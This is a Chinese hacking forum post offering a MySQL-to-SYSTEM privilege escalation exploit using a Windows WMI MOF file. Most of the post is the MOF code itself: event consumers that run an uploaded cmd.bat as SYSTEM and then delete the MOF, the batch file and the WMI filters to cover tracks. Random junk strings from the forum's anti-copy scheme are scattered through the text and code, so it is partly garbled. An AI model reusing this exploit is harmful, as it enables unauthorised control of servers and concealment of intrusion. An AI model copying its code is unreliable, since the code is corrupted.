找回密码
 立即注册
查看: 2774|回复: 0
打印 上一主题 下一主题

Mysql 提权即时无错Mof exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-14 00:05:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个sql提权MOF需要运行 system下的文件,不能定义路径。
% x4 o5 F# [4 g1 G, _0 `需要将要运行的命令写入到bat上传到system32目录,然后执行。5 f; \' h' N$ G8 a( L! ~$ I2 @
9 t7 I  i, K: F, f& d
这个sql提权MOF需要运行 system下的文件,不能定义路径。
0 g9 T* U# i9 T) u4 Z1 y需要将要运行的命令写入到bat上传到system32目录,然后执行。5 o/ z; r. g% \: _8 v

; J! Q" t1 x7 x- y' H  M2 [2 P#pragma
+ ~3 H& ]* _% K1 A# j# N, R/ b                        namespace("\\\\.\\root\\cimv2")6 `- T- b; ~% u* y  c# x6 I
                        class
1 I& T- R& o6 q                        MyClass5470 L& \1 @6 Z- ?$ _5 x
                        {           [key]& z7 T  g/ Z' V  I1 F* M3 |' b
                        string
6 g& P/ u( B. k2 Z                        Name;
, _6 N" j  o8 r                        };* S3 {! u& k& ~& E  U4 r7 D
                        class# Y/ _! M) h& h4 v
                        ActiveScriptEventConsumer
. I" Q4 S! j% g9 @" }( e$ T                        : __EventConsumer {          [key]5 @/ B4 s7 j  K- Z
                        string
3 J8 |5 J7 V& y1 s4 y, H- V9 g                        Name;           [not_null]6 a" D  Z! e' Y( c0 x
                        string
2 L+ f0 H3 X7 b3 |4 R, e4 X                        ScriptingEngine;           string
3 z  |/ |8 a% A                        ScriptFileName;           [template]
6 ]6 o* k  N0 E& E: o                        string: d6 X  k: n$ E9 Q7 ?0 r
                        ScriptText;         uint32 KillTimeout;
; [2 n* e) I$ b* p- ]9 d: h                        }; instance of __Win32Provider as $P {
6 I* y4 X& P  |) n                        Name3 w% Y+ F7 V2 v- U4 l+ e
                        =
' p: `# }; l% s& c                        "ActiveScriptEventConsumer";     CLSID =
* E* C( y6 j) M% V" s6 n                        "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";& {) X$ V; l9 O# P( ~, d
                        PerUserInitialization
7 t7 T9 g7 d; ]0 k/ K                        = TRUE;( E. T' N# t, R0 j
                        }; instance of __EventConsumerProviderRegistration {         Provider: n* u7 D/ L2 f) P- U- M' F1 A
                        = $P;         ConsumerClassNames
0 J$ o+ ]4 J  r! W                        =
4 w: |5 b. V$ a7 x5 g. T7 |                        {"ActiveScriptEventConsumer"};
$ z4 @* P5 e, m" d                        };
  h. ]9 k. I$ x, }: R! ~$ ?                        Instance of ActiveScriptEventConsumer5 x* r* f  r4 w0 B/ ^  ?& x8 a
                        as $cons {         Name
5 X5 n0 B' h+ `- t                        =
# a6 p3 O+ |5 L% r  N* ~) C                        "ASEC";         ScriptingEngine
( M6 {8 n3 A! H! [$ z. A                        =
% Q# w) E' q% F8 n; W0 m% i( l: {$ a                        "JScript";         ScriptText( C1 B& G2 y; _3 Y) E
                        =' b0 o$ `: U/ o  S* l
                        "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};";          };4 n* l1 k( y! ?/ M& C2 l
                        Instance of ActiveScriptEventConsumer* x& R. m! |. t: p4 p
                        as $cons2 {         Name
" c9 y! l, c1 z& v, }                        =
' y+ h. v* K( F* i$ H7 ~                        "qndASEC";         ScriptingEngine
( q1 I- i% n" |3 s# m! o                        =1 `2 y) j. J8 z% u! x" W7 b1 ~
                        "JScript";         ScriptText
1 e: q. U- j; [; A+ G                        =
1 N" d, c; w( o                        "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
0 ], T  H4 A; i* L) n                        }; instance of __EventFilter as $Filt {         Name
+ T8 k' Q3 e9 ^                        =
4 P; E8 }% u+ ?( ]4 p; c                        "instfilt";         Query
) y& @5 {: Z% ^$ l! E3 B8 u                        =
) L  K4 V% E+ t8 `/ y  E                        "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\"";         QueryLanguage. ?2 o8 \9 g- k$ }( Q2 N
                        =* O- y! i8 |1 J0 O+ ]4 j0 T0 Q* C
                        "WQL";         }; instance of __EventFilter as $Filt2 {         Name
# M; C2 l; E: z" _/ ?1 {                        =
3 Y2 }& n5 D, C: n                        "qndfilt";         Query8 i" j& ?- n  [+ ]
                        =0 v) ?1 g4 m8 x$ v+ Q+ g0 v" x
                        "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\"";         QueryLanguage
& y/ O, y$ ~( l* l3 b1 e                        =! e& F+ X4 z+ x" v. M, \6 c  d
                        "WQL";          }; instance of __FilterToConsumerBinding as $bind {         Consumer# R$ `; _4 X2 t$ w$ Q7 Y+ T
                        = $cons;         Filter$ S2 O) A# ]$ o, h( S" C0 u
                        = $Filt;. d0 X  S% P3 ^# |- S# F
                        }; instance of __FilterToConsumerBinding as $bind2 {         Consumer
$ n; Q( s9 m3 A0 u, Y                        = $cons2;         Filter3 o2 L0 {& y* I& \) p7 ?8 c' Q
                        = $Filt2;
# G( ?8 O( R3 F' G2 _& X                        }; instance of MyClass547! j, f$ J# O! w6 R% T/ A4 x) l2 Z
                        as $MyClass {         Name
( s9 Q" a+ W- x  B; t                        =
# V  x, M' @) @2 A                        "ClassConsumer";9 z' i: c' m- K
                        };
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表